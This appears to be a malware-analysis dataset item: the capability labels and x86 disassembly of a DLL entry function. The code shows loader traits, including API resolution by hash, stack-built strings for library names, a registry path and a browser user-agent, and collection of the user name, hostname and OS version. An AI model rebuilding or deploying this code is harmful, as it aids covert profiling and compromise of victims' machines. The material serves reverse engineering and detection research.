Function at 0x1000843b
Capabilities:
Accept command line arguments
Get common file path
Get hostname
Get session information
Get session user name
Parse pe header
Set current directory
Terminate process

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x37c
push ebx
push esi
push edi
xor edi, edi
sub eax, edi
je 0x1000984a
sub eax, 1
jne 0x10009a55
mov eax, dword [esp + 0x38c]
push eax
mov dword [0x10026b94], eax
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x20a
call ebx
push 8
pop edx
mov ecx, eax
call fcn.10007d5c
push 0x105
push eax
mov dword [0x10026bbc], eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x10009843
push dword [0x10026bbc]
mov edi, dword [sym.imp.SHLWAPI.dll_PathAddBackslashW]
call edi
push 0x6b
pop eax
push 0x65
mov dword [esp + 0x220], eax
mov word [esp + 0x268], ax
pop eax
push 0x72
pop ecx
push 0x6e
mov word [esp + 0x26a], ax
mov word [esp + 0x26c], cx
pop ecx
push 0x6c
mov word [esp + 0x270], ax
pop eax
push 0x33
mov word [esp + 0x272], ax
pop eax
mov word [esp + 0x270], ax
push 0x32
pop eax
mov word [esp + 0x272], ax
xor eax, eax
mov word [esp + 0x274], ax
lea eax, [esp + 0x264]
push eax
mov word [esp + 0x26e], cx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [esp + 0x2b0], eax
test eax, eax
je 0x10009841
xor esi, esi
mov dword [esp + 0x354], 0x341508dc
push 0xff000000
push 2
lea edx, [esp + 0x35c]
mov dword [esp + 0x360], esi
mov ecx, eax
mov dword [esp + 0x364], esi
mov dword [esp + 0x368], 0x100268b4
mov dword [esp + 0x36c], 0xc0c1bd8d
mov dword [esp + 0x370], esi
mov dword [esp + 0x374], esi
mov dword [esp + 0x378], 0x10026bdc
call fcn.1000704a
mov eax, dword [0x100268b4]
pop ecx
pop ecx
push 0x20a
mov dword [0x10026884], eax
call ebx
push 8
pop edx
mov ecx, eax
call fcn.10007d5c
push 0x104
push eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [0x10026888], eax
call esi
push dword [0x10026888]
mov dword [0x10026bc0], eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
push 0x20a
mov dword [0x10026e20], eax
call ebx
push 8
pop edx
mov ecx, eax
call fcn.10007d5c
push 0x104
push eax
push dword [0x10026b94]
mov dword [0x1002689c], eax
call esi
push 0x20a
mov dword [0x100268a0], eax
call ebx
push 8
pop edx
mov ecx, eax
call fcn.10007d5c
push dword [0x1002689c]
mov dword [0x100268ac], eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push dword [0x100268ac]
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
push dword [0x100268ac]
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push dword [0x100268ac]
call edi
mov eax, dword [0x1002689c]
mov dword [0x10026e44], eax
mov eax, dword [0x10026888]
mov dword [0x10026b8c], eax
mov eax, dword [0x100268ac]
push eax
mov dword [0x10026be8], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [0x10026b8c]
xor esi, esi
inc esi
mov dword [0x10026bac], eax
push esi
xor edx, edx
call section..text
push 0x6e
mov dword [0x10026e40], eax
pop eax
mov word [esp + 0x2a8], ax
push 0x74
pop eax
mov word [esp + 0x2aa], ax
lea ecx, [esp + 0x2a8]
push 0x64
pop eax
mov word [esp + 0x2ac], ax
xor edx, edx
push 0x6c
pop eax
mov word [esp + 0x2ae], ax
mov word [esp + 0x2b0], ax
xor eax, eax
mov word [esp + 0x2b2], ax
call fcn.10004f93
xor edi, edi
pop ecx
test eax, eax
je 0x10009843
push 0xff000000
push esi
lea edx, [esp + 0x37c]
mov dword [esp + 0x37c], 0x8c210360
mov ecx, eax
mov dword [esp + 0x380], edi
mov dword [esp + 0x384], edi
mov dword [esp + 0x388], 0x10026b44
call fcn.1000704a
pop ecx
pop ecx
push dword [0x1002689c]
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
push eax
push dword [0x10026bbc]
lea eax, [esp + 0x14]
push 0x1001fccc
push eax
call esi
add esp, 0x10
lea eax, [esp + 0xc]
push eax
call dword [0x10026884]
mov dword [0x10027a30], eax
test eax, eax
je 0x10009843
call fcn.1000a5f7
call fcn.10002e45
test eax, eax
jne 0x10009a55
mov edi, 0x11c
push edi
push 0x10027908
call dword [sym.imp.NTDLL.dll_RtlZeroMemory]
lea eax, [esp + 0x2b4]
mov dword [0x10027908], edi
push eax
lea eax, [esp + 0x2bc]
xor edi, edi
push eax
lea eax, [esp + 0x2c4]
mov dword [esp + 0x2c4], edi
push eax
mov dword [esp + 0x2c4], edi
mov dword [esp + 0x2c0], edi
call dword [sym.imp.NTDLL.dll_RtlGetNtVersionNumbers]
mov eax, dword [esp + 0x2bc]
mov dword [0x1002790c], eax
mov eax, dword [esp + 0x2b8]
mov dword [0x10027910], eax
movzx eax, word [esp + 0x2b4]
mov dword [0x10027914], eax
call fcn.10005983
mov dword [0x10026b80], eax
mov ecx, 0x5a4d
mov eax, dword [0x10026e40]
cmp word [eax], cx
jne 0x10009a55
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10009a55
cmp dword [ecx + 0x58], 0x13df7ca
mov eax, dword [0x10026b88]
push 1
pop edx
cmove eax, edx
cmp dword [ecx + 0x58], 0x3b75f
push 3
pop edx
cmove eax, edx
mov dword [0x10026b88], eax
call fcn.10007dd5
push 0xc8
mov dword [0x10026b78], eax
call ebx
push 8
pop edx
mov ecx, eax
call fcn.10007d5c
mov dword [0x10026b10], eax
test eax, eax
je 0x10009843
push 0x53
pop ecx
push 0x4f
mov word [esp + 0x224], cx
pop ecx
push 0x46
mov word [esp + 0x226], cx
pop ecx
push 0x54
mov word [esp + 0x228], cx
pop ecx
push 0x57
mov word [esp + 0x22a], cx
pop ecx
push 0x41
mov word [esp + 0x22c], cx
pop ecx
push 0x52
mov word [esp + 0x22e], cx
pop ecx
push 0x45
mov word [esp + 0x230], cx
pop ecx
push 0x5c
pop edx
push 0x55
mov word [esp + 0x232], cx
pop ecx
push 0x73
mov word [esp + 0x236], cx
pop ecx
push 0x6f
pop edi
push 0x72
mov word [esp + 0x23a], di
pop edi
push 0x69
mov word [esp + 0x238], cx
mov word [esp + 0x240], cx
mov word [esp + 0x23c], di
pop edi
push 0x42
pop ecx
push 0x61
mov word [esp + 0x244], cx
pop ecx
push 0x63
mov word [esp + 0x246], cx
pop ecx
push 0x6b
mov word [esp + 0x248], cx
pop ecx
push 0x75
mov word [esp + 0x24a], cx
pop ecx
push 0x70
mov word [esp + 0x24c], cx
pop ecx
push edx
push dword [0x10026b78]
mov word [esp + 0x252], cx
xor ecx, ecx
push str._s_c
push eax
mov word [esp + 0x240], dx
mov word [esp + 0x24a], di
mov word [esp + 0x24e], dx
mov word [esp + 0x25c], cx
call esi
lea ecx, [esp + 0x230]
mov dword [0x10026b64], eax
push ecx
mov ecx, dword [0x10026b10]
push 0x100201b0
lea eax, [ecx + eax*2]
push eax
call esi
mov ecx, dword [0x10026b10]
add esp, 0x1c
mov eax, dword [0x10026b64]
lea eax, [ecx + eax*2]
mov esi, dword [sym.imp.WTSAPI32.dll_WTSQuerySessionInformationW]
xor edi, edi
mov dword [0x10026ae0], eax
lea eax, [esp + 0x390]
push eax
push 0x10026864
push 5
push dword [0x10026b80]
mov dword [esp + 0x3a0], edi
push edi
call esi
test eax, eax
jne 0x100089f7
push 0x20a
call ebx
push 8
pop edx
mov ecx, eax
call fcn.10007d5c
mov dword [0x10026864], eax
test eax, eax
je 0x100089ff
lea ecx, [esp + 0x390]
mov dword [esp + 0x390], 0x104
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
jne 0x100089ff
mov eax, dword [0x10026864]
xor ecx, ecx
mov word [eax], cx
jmp 0x100089ff
xor eax, eax
inc eax
mov dword [0x10026b70], eax
lea eax, [esp + 0x38c]
mov dword [esp + 0x38c], edi
push eax
push 0x10026e10
push 7
push dword [0x10026b80]
push edi
call esi
test eax, eax
jne 0x10008a68
push 0x20a
call ebx
push 8
pop edx
mov ecx, eax
call fcn.10007d5c
mov dword [0x10026e10], eax
test eax, eax
je 0x10008a70
lea ecx, [esp + 0x38c]
mov dword [esp + 0x38c], 0x104
push ecx
push eax
push 3
call dword [sym.imp.KERNEL32.dll_GetComputerNameExW]
test eax, eax
jne 0x10008a70
mov eax, dword [0x10026e10]
xor ecx, ecx
mov word [eax], cx
jmp 0x10008a70
xor eax, eax
inc eax
mov dword [0x10026b4c], eax
call fcn.10004eb1
mov dword [0x10026be4], eax
call fcn.1000b180
mov dword [0x10026b00], eax
call fcn.10004aa3
mov dword [0x100268b8], eax
mov dword [0x10026b60], 0x1001ffd8
cmp dword [0x10026b88], edi
je 0x10009a55
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea ecx, [esp + 0x2c0]
mov dword [esp + 0x2c0], edi
push ecx
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov edi, eax
mov dword [esp + 0x218], 0x66
test edi, edi
je 0x10008b7c
push dword [edi]
call dword [sym.imp.USER32.dll_CharLowerW]
mov ecx, dword [esp + 0x2c0]
xor eax, eax
inc eax
cmp ecx, eax
jle 0x10008b75
mov esi, eax
xor ebx, ebx
lea eax, [ecx - 1]
cmp esi, eax
jge 0x10008b23
mov eax, dword [edi + esi*4]
push 0x77
pop edx
cmp word [eax], dx
jne 0x10008b23
cmp word [eax + 2], bx
jne 0x10008b23
inc esi
push dword [edi + esi*4]
call dword [sym.imp.SHLWAPI.dll_StrToIntW]
mov ecx, dword [esp + 0x2c0]
mov dword [0x10026b98], eax
jmp 0x10008b6a
mov edx, dword [edi + esi*4]
movzx eax, word [edx]
cmp ax, word [esp + 0x21c]
jne 0x10008b43
cmp word [edx + 2], bx
jne 0x10008b43
xor eax, eax
inc eax
mov dword [0x10026ad8], eax
jmp 0x10008b6a
cmp dword [0x10026b88], 3
jne 0x10008b6a
cmp ax, word [esp + 0x218]
jne 0x10008b6a
cmp word [edx + 2], bx
mov eax, dword [0x10026b38]
push 1
pop edx
cmove eax, edx
mov dword [0x10026b38], eax
inc esi
cmp esi, ecx
jl 0x10008af3
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [0x10026b98], 0
jle 0x10008b9f
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x10026b98]
dec eax
mov dword [0x10026b98], eax
test eax, eax
jg 0x10008b85
push 0x208
call ebx
push 8
pop edx
mov ecx, eax
call fcn.10007d5c
mov dword [0x10026b24], eax
test eax, eax
je 0x10008da5
push 0x4d
pop ecx
push 0x6f
mov word [esp + 0x320], cx
pop ecx
push 0x7a
mov word [esp + 0x322], cx
pop ecx
push 0x69
mov word [esp + 0x324], cx
pop ecx
push 0x6c
mov word [esp + 0x326], cx
pop ecx
push 0x61
mov word [esp + 0x328], cx
mov word [esp + 0x32a], cx
pop ecx
push 0x2f
pop esi
push 0x35
mov word [esp + 0x32c], cx
pop ecx
push 0x2e
pop ebx
push 0x30
pop edi
push 0x20
pop edx
push 0x28
mov word [esp + 0x330], cx
pop ecx
push 0x57
mov word [esp + 0x338], cx
pop ecx
push 0x69
mov word [esp + 0x33a], cx
pop ecx
push 0x6e
mov word [esp + 0x33c], cx
pop ecx
push 0x64
mov word [esp + 0x33e], cx
pop ecx
push 0x6f
mov word [esp + 0x340], cx
pop ecx
push 0x77
mov word [esp + 0x342], cx
pop ecx
push 0x73
mov word [esp + 0x344], cx
pop ecx
push 0x4e
mov word [esp + 0x346], cx
pop ecx
push 0x54
mov word [esp + 0x34a], cx
pop ecx
push 0x25
mov word [esp + 0x34c], cx
pop ecx
push 0x75
mov word [esp + 0x32e], si
pop esi
push esi
mov word [esp + 0x350], cx
mov word [esp + 0x356], cx
pop ecx
push 0x29
mov word [esp + 0x358], cx
pop ecx
mov word [esp + 0x32e], bx
mov word [esp + 0x330], di
mov word [esp + 0x332], dx
mov word [esp + 0x344], dx
mov word [esp + 0x34a], dx
mov word [esp + 0x34e], si
mov word [esp + 0x350], bx
mov word [esp + 0x356], cx
mov word [esp + 0x358], dx
push 0x46
pop ecx
push 0x69
mov word [esp + 0x35e], cx
pop ecx
push 0x72
mov word [esp + 0x360], cx
pop ecx
push 0x65
mov word [esp + 0x362], cx
pop ecx
push 0x66
mov word [esp + 0x364], cx
pop ecx
push 0x6f
mov word [esp + 0x366], cx
pop ecx
push 0x78
mov word [esp + 0x368], cx
pop ecx
push 0x2f
pop esi
push 0x37
mov word [esp + 0x36a], cx
pop ecx
push 0x38
mov word [esp + 0x36e], cx
pop ecx
push dword [0x10027910]
mov word [esp + 0x370], cx
xor ecx, ecx
push dword [0x1002790c]
mov word [esp + 0x37a], cx
lea ecx, [esp + 0x324]
push ecx
push eax
mov word [esp + 0x378], si
mov word [esp + 0x37e], bx
mov word [esp + 0x380], di
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
xor esi, esi
inc esi
cmp dword [0x10026b88], esi
jne 0x10008de2
mov eax, dword [0x10026864]
mov ecx, 0x10027908
mov dword [0x10026b34], eax
mov eax, dword [0x10026e10]
mov dword [0x10026870], eax
call fcn.10005d73
xor edx, edx
mov ecx, closesocket
div ecx
mov dword [0x10026860], edx
call fcn.10002ba5
call fcn.10009e64
test eax, eax
jne 0x10009841
xor edi, edi
mov dword [0x10027a48], esi
cmp dword [0x10026b88], esi
jne 0x1000948b
push 0x631143df
push esi
mov esi, dword [esp + 0x2b8]
lea edx, [esp + 0x36c]
mov ecx, esi
mov dword [esp + 0x36c], 0x4d4177d4
mov dword [esp + 0x370], edi
mov dword [esp + 0x374], edi
mov dword [esp + 0x378], 0x10026b68
call fcn.1000704a
pop ecx
pop ecx
call fcn.100051e3
mov ecx, eax
call fcn.10002cbe
push ecx
push 0xb
lea edx, [esp + 0x2cc]
mov dword [0x10026bb4], eax
mov ecx, esi
mov dword [esp + 0x2cc], 0xbcceb12b
mov dword [esp + 0x2d0], 0x100049ac
mov dword [esp + 0x2d4], 0x100268b0
mov dword [esp + 0x2d8], edi
mov dword [esp + 0x2dc], 0x5e2e2340
mov dword [esp + 0x2e0], 0x1000a32a
mov dword [esp + 0x2e4], 0x10026ba8
mov dword [esp + 0x2e8], edi
mov dword [esp + 0x2ec], 0x9f7a012e
mov dword [esp + 0x2f0], 0x10007bf7
mov dword [esp + 0x2f4], 0x10026bd8
mov dword [esp + 0x2f8], edi
mov dword [esp + 0x2fc], 0xa2e2fba9
mov dword [esp + 0x300], 0x10004eab
mov dword [esp + 0x304], 0x10026898
mov dword [esp + 0x308], edi
mov dword [esp + 0x30c], 0xa7a5ea92
mov dword [esp + 0x310], 0x1000b55f
mov dword [esp + 0x314], 0x10026be0
mov dword [esp + 0x318], edi
mov dword [esp + 0x31c], 0xc2feaaf6
mov dword [esp + 0x320], 0x10006c83
mov dword [esp + 0x324], 0x10026b6c
mov dword [esp + 0x328], edi
mov dword [esp + 0x32c], 0xf6353ee6
mov dword [esp + 0x330], 0x100032a1
mov dword [esp + 0x334], 0x10026ad4
mov dword [esp + 0x338], edi
mov dword [esp + 0x33c], 0x3f942f98
mov dword [esp + 0x340], 0x10003253
mov dword [esp + 0x344], 0x100268bc
mov dword [esp + 0x348], edi
mov dword [esp + 0x34c], 0xaddfba77
mov dword [esp + 0x350], 0x10001f5b
mov dword [esp + 0x354], 0x10026aec
mov dword [esp + 0x358], edi
mov dword [esp + 0x35c], 0xbaa3474b
mov dword [esp + 0x360], 0x1000af48
mov dword [esp + 0x364], 0x10026b90
mov dword [esp + 0x368], edi
mov dword [esp + 0x36c], 0x16884023
mov dword [esp + 0x370], 0x100051ca
mov dword [esp + 0x374], 0x10026e34
mov dword [esp + 0x378], edi
call fcn.10002e02
push 0x75
pop eax
push 0x73
mov word [esp + 0x294], ax
pop eax
push 0x65
mov word [esp + 0x296], ax
pop eax
push 0x72
mov word [esp + 0x298], ax
pop eax
push 0x33
mov word [esp + 0x29a], ax
pop eax
mov word [esp + 0x298], ax
push 0x32
pop ebx
add esp, 4
mov word [esp + 0x296], bx
xor eax, eax
lea ecx, [esp + 0x28c]
mov edx, 0x10026e54
mov word [esp + 0x298], ax
call fcn.10004f93
mov dword [0x10026e30], eax
pop ecx
test eax, eax
je 0x100091df
push ecx
push 8
lea edx, [esp + 0x2fc]
mov dword [esp + 0x2fc], 0xa5126c5b
mov ecx, eax
mov dword [esp + 0x300], 0x1000a661
mov dword [esp + 0x304], 0x10026bcc
mov dword [esp + 0x308], edi
mov dword [esp + 0x30c], 0xb624fee8
mov dword [esp + 0x310], 0x1000b26b
mov dword [esp + 0x314], 0x10026bb0
mov dword [esp + 0x318], edi
mov dword [esp + 0x31c], 0x288d34a4
mov dword [esp + 0x320], 0x1000b2a8
mov dword [esp + 0x324], 0x10026ae4
mov dword [esp + 0x328], edi
mov dword [esp + 0x32c], 0x343c1e51
mov dword [esp + 0x330], 0x1000b25a
mov dword [esp + 0x334], 0x10026b74
mov dword [esp + 0x338], edi
mov dword [esp + 0x33c], 0xc0e8ab00
mov dword [esp + 0x340], 0x1000b25a
mov dword [esp + 0x344], 0x10026894
mov dword [esp + 0x348], edi
mov dword [esp + 0x34c], 0xc442ac10
mov dword [esp + 0x350], 0x10002c6e
mov dword [esp + 0x354], 0x10026bd4
mov dword [esp + 0x358], edi
mov dword [esp + 0x35c], 0xa2578f57
mov dword [esp + 0x360], 0x10002c6e
mov dword [esp + 0x364], 0x10026e50
mov dword [esp + 0x368], edi
mov dword [esp + 0x36c], 0xf184d6f6
mov dword [esp + 0x370], 0x100034e0
mov dword [esp + 0x374], 0x10026bec
mov dword [esp + 0x378], edi
call fcn.10002e02
pop ecx
pop ecx
push 0x73
pop eax
push 0x68
mov word [esp + 0x378], ax
mov edx, 0x10026b18
pop eax
push 0x65
mov word [esp + 0x37a], ax
pop eax
push 0x6c
mov word [esp + 0x37c], ax
pop eax
mov word [esp + 0x37a], ax
mov word [esp + 0x37c], ax
push 0x33
pop eax
mov word [esp + 0x37e], ax
xor eax, eax
push ecx
lea ecx, [esp + 0x378]
mov word [esp + 0x384], bx
mov word [esp + 0x386], ax
call fcn.10004f93
mov dword [0x10026ba0], eax
pop ecx
test eax, eax
je 0x100092db
push ecx
push 3
lea edx, [esp + 0x34c]
mov dword [esp + 0x34c], 0xc7ee492e
mov ecx, eax
mov dword [esp + 0x350], 0x1000b2a8
mov dword [esp + 0x354], 0x10026890
mov dword [esp + 0x358], edi
mov dword [esp + 0x35c], 0x5c981f54
mov dword [esp + 0x360], 0x1000a960
mov dword [esp + 0x364], 0x10026b04
mov dword [esp + 0x368], edi
mov dword [esp + 0x36c], 0xa47468e0
mov dword [esp + 0x370], 0x10003959
mov dword [esp + 0x374], 0x10027904
mov dword [esp + 0x378], edi
call fcn.10002e02
pop ecx
pop ecx
push 0x77
pop eax
push 0x73
mov word [esp + 0x27c], ax
mov edx, 0x1002688c
pop eax
push 0x5f
mov word [esp + 0x27e], ax
pop eax
mov word [esp + 0x27e], ax
push 0x33
pop eax
mov word [esp + 0x280], ax
xor eax, eax
push ecx
lea ecx, [esp + 0x27c]
mov word [esp + 0x280], bx
mov word [esp + 0x286], bx
mov word [esp + 0x288], ax
call fcn.10004f93
mov dword [0x1002686c], eax
pop ecx
test eax, eax
je 0x100093cc
push ecx
push 3
lea edx, [esp + 0x34c]
mov dword [esp + 0x34c], 0x25ddb08c
mov ecx, eax
mov dword [esp + 0x350], 0x1000b2ae
mov dword [esp + 0x354], 0x10026e14
mov dword [esp + 0x358], edi
mov dword [esp + 0x35c], 0x99d55537
mov dword [esp + 0x360], 0x10005a14
mov dword [esp + 0x364], 0x100278d4
mov dword [esp + 0x368], edi
mov dword [esp + 0x36c], 0x17debac0
mov dword [esp + 0x370], 0x1000333d
mov dword [esp + 0x374], 0x10026e2c
mov dword [esp + 0x378], edi
call fcn.10002e02
pop ecx
pop ecx
push 0x77
pop eax
push 0x69
mov word [esp + 0x29c], ax
mov edx, 0x10026b9c
pop eax
push 0x6e
mov word [esp + 0x29e], ax
pop eax
mov word [esp + 0x29c], ax
push 0x6d
pop eax
mov word [esp + 0x29e], ax
mov word [esp + 0x2a0], ax
xor eax, eax
push ecx
lea ecx, [esp + 0x29c]
mov word [esp + 0x2a6], ax
call fcn.10004f93
mov dword [0x10026b84], eax
pop ecx
test eax, eax
je 0x10009495
push ecx
push 2
lea edx, [esp + 0x35c]
mov dword [esp + 0x35c], 0x9d27ac39
mov ecx, eax
mov dword [esp + 0x360], 0x10009bef
mov dword [esp + 0x364], 0x10026e04
mov dword [esp + 0x368], edi
mov dword [esp + 0x36c], 0x5789c82b
mov dword [esp + 0x370], 0x1000b2a8
mov dword [esp + 0x374], 0x10026874
mov dword [esp + 0x378], edi
call fcn.10002e02
pop ecx
pop ecx
jmp 0x10009495
mov esi, dword [esp + 0x2b0]
push 0x32
pop ebx
push 0x61
pop ecx
push 0x64
pop eax
push 0x76
mov word [esp + 0x256], ax
mov edx, 0x10026e08
pop eax
push 0x70
mov word [esp + 0x258], ax
pop eax
push 0x69
mov word [esp + 0x25c], ax
pop eax
mov word [esp + 0x25a], ax
push 0x33
pop eax
mov word [esp + 0x25c], ax
xor eax, eax
mov word [esp + 0x250], cx
mov word [esp + 0x256], cx
push ecx
lea ecx, [esp + 0x254]
mov word [esp + 0x262], bx
mov word [esp + 0x264], ax
call fcn.10004f93
mov dword [0x10026e18], eax
pop ecx
test eax, eax
je 0x100096fd
xor ecx, ecx
inc ecx
cmp dword [0x10026b88], ecx
jne 0x100096c3
push ecx
push 0xa
lea edx, [esp + 0x2dc]
mov dword [esp + 0x2dc], 0xc3109516
mov ecx, eax
mov dword [esp + 0x2e0], 0x1000b1d2
mov dword [esp + 0x2e4], 0x100268c8
mov dword [esp + 0x2e8], edi
mov dword [esp + 0x2ec], 0x56ff8c5d
mov dword [esp + 0x2f0], 0x10004c05
mov dword [esp + 0x2f4], 0x10026b50
mov dword [esp + 0x2f8], edi
mov dword [esp + 0x2fc], 0xd41bd247
mov dword [esp + 0x300], 0x100059e1
mov dword [esp + 0x304], 0x10026bf0
mov dword [esp + 0x308], edi
mov dword [esp + 0x30c], 0x4e422a93
mov dword [esp + 0x310], 0x10004f60
mov dword [esp + 0x314], 0x10026af4
mov dword [esp + 0x318], edi
mov dword [esp + 0x31c], 0x7b817146
mov dword [esp + 0x320], 0x1000595a
mov dword [esp + 0x324], 0x10026b40
mov dword [esp + 0x328], edi
mov dword [esp + 0x32c], 0x842db31e
mov dword [esp + 0x330], 0x10002882
mov dword [esp + 0x334], 0x10026af0
mov dword [esp + 0x338], edi
mov dword [esp + 0x33c], 0xdd30a549
mov dword [esp + 0x340], 0x10004fa1
mov dword [esp + 0x344], 0x100268c4
mov dword [esp + 0x348], edi
mov dword [esp + 0x34c], 0x85b69c83
mov dword [esp + 0x350], 0x1000502e
mov dword [esp + 0x354], 0x1002687c
mov dword [esp + 0x358], edi
mov dword [esp + 0x35c], 0xf1bdc0d7
mov dword [esp + 0x360], 0x10004f07
mov dword [esp + 0x364], 0x10026b7c
mov dword [esp + 0x368], edi
mov dword [esp + 0x36c], 0x59797a4f
mov dword [esp + 0x370], 0x100082dd
mov dword [esp + 0x374], 0x10026adc
mov dword [esp + 0x378], edi
call fcn.10002e02
jmp 0x100096fb
push 0xff000000
push ecx
lea edx, [esp + 0x36c]
mov dword [esp + 0x36c], 0xc5683990
mov ecx, eax
mov dword [esp + 0x370], edi
mov dword [esp + 0x374], edi
mov dword [esp + 0x378], 0x10026adc
call fcn.1000704a
pop ecx
pop ecx
xor eax, eax
inc eax
cmp dword [0x10026b88], eax
jne 0x100097b1
push 0x77
pop eax
push 0x69
mov word [esp + 0x378], ax
mov edx, 0x10026b14
pop eax
push 0x6e
mov word [esp + 0x37a], ax
pop eax
push 0x74
pop ecx
push 0x72
mov word [esp + 0x37c], ax
pop eax
push 0x75
mov word [esp + 0x380], ax
pop eax
mov word [esp + 0x37e], ax
push 0x73
pop eax
mov word [esp + 0x380], ax
xor eax, eax
mov word [esp + 0x37a], cx
mov word [esp + 0x382], cx
push ecx
lea ecx, [esp + 0x378]
mov word [esp + 0x388], ax
call fcn.10004f93
mov dword [0x10026b54], eax
pop ecx
test eax, eax
je 0x100097eb
push ecx
xor ecx, ecx
mov dword [esp + 0x368], 0xc7f3ad14
inc ecx
mov dword [esp + 0x36c], 0x10004f9c
push ecx
mov dword [esp + 0x374], 0x10026e3c
mov ecx, eax
jmp 0x100097d6
push ecx
mov dword [esp + 0x368], 0xbaa3474b
mov ecx, esi
mov dword [esp + 0x36c], 0x1000af48
mov dword [esp + 0x370], 0x10026b90
push eax
lea edx, [esp + 0x36c]
mov dword [esp + 0x378], edi
call fcn.10002e02
pop ecx
pop ecx
call fcn.10004f58
test eax, eax
jne 0x10009843
xor ecx, ecx
mov dword [0x10027a48], 2
inc ecx
cmp dword [0x10026b88], ecx
jne 0x10009a55
cmp dword [0x10026be4], eax
push edi
push 0x10026bc4
push edi
push 0xf013f
push edi
push edi
push edi
push dword [0x10026ae0]
setne al
add eax, 0x80000001
push eax
call dword [0x100268c8]
test eax, eax
je 0x10009a55
jmp 0x10009843
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [0x10026bbc]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
test eax, eax
je 0x10009863
push eax
call esi
mov ecx, eax
call fcn.1000350d
mov eax, dword [0x100268ac]
test eax, eax
je 0x10009876
push eax
call esi
mov ecx, eax
call fcn.1000350d
mov eax, dword [0x1002689c]
test eax, eax
je 0x10009889
push eax
call esi
mov ecx, eax
call fcn.1000350d
mov eax, dword [0x10026888]
test eax, eax
je 0x1000989c
push eax
call esi
mov ecx, eax
call fcn.1000350d
mov eax, dword [0x10027a30]
mov edi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
test eax, eax
je 0x100098ae
push eax
call edi
mov eax, dword [0x10026b78]
test eax, eax
je 0x100098be
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [0x10026b10]
test eax, eax
je 0x100098d1
push eax
call esi
mov ecx, eax
call fcn.1000350d
mov eax, dword [0x10026864]
mov ebx, dword [sym.imp.WTSAPI32.dll_WTSFreeMemory]
test eax, eax
je 0x100098f7
cmp dword [0x10026b70], 0
push eax
je 0x100098ee
call ebx
jmp 0x100098f7
call esi
mov ecx, eax
call fcn.1000350d
mov eax, dword [0x10026e10]
test eax, eax
je 0x10009917
cmp dword [0x10026b4c], 0
push eax
je 0x1000990e
call ebx
jmp 0x10009917
call esi
mov ecx, eax
call fcn.1000350d
cmp dword [0x10026b88], 0
je 0x10009a55
mov eax, dword [0x10027a48]
cmp eax, 2
jne 0x10009938
call fcn.10003e30
mov eax, dword [0x10027a48]
test eax, eax
jle 0x10009941
call fcn.1000516f
mov eax, dword [0x10026e30]
test eax, eax
je 0x10009956
cmp dword [0x10026e54], 0
je 0x10009956
push eax
call edi
mov eax, dword [0x10026ba0]
test eax, eax
je 0x1000996b
cmp dword [0x10026b18], 0
je 0x1000996b
push eax
call edi
mov eax, dword [0x10026e18]
test eax, eax
je 0x10009980
cmp dword [0x10026e08], 0
je 0x10009980
push eax
call edi
mov eax, dword [0x10026b54]
test eax, eax
je 0x10009995
cmp dword [0x10026b14], 0
je 0x10009995
push eax
call edi
mov eax, dword [0x1002686c]
test eax, eax
je 0x100099aa
cmp dword [0x1002688c], 0
je 0x100099aa
push eax
call edi
mov eax, dword [0x10026b84]
test eax, eax
je 0x100099bf
cmp dword [0x10026b9c], 0
je 0x100099bf
push eax
call edi
mov eax, dword [0x10026e38]
test eax, eax
je 0x100099d4
cmp dword [0x10026e0c], 0
je 0x100099d4
push eax
call edi
mov eax, dword [0x10026bc4]
test eax, eax
je 0x100099e4
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [0x10026b2c]
test eax, eax
je 0x100099f4
push eax
call dword [0x10026858]
mov eax, dword [0x10026b24]
test eax, eax
je 0x10009a07
push eax
call esi
mov ecx, eax
call fcn.1000350d
mov eax, dword [0x10026b1c]
test eax, eax
je 0x10009a1a
push eax
call esi
mov ecx, eax
call fcn.1000350d
mov edi, dword [sym.imp.NTDLL.dll_NtClose]
mov esi, 0x100278f4
cmp dword [esi], 0
je 0x10009a2e
push dword [esi]
call edi
add esi, 4
cmp esi, 0x10027900
jl 0x10009a25
mov ecx, dword [0x10026afc]
test ecx, ecx
je 0x10009a55
xor eax, eax
push eax
push ecx
call dword [sym.imp.NTDLL.dll_NtTerminateThread]
push dword [0x10026afc]
call edi
xor edi, edi
lea eax, [edi + 1]
pop edi
pop esi
pop ebx
add esp, 0x37c
ret 0xc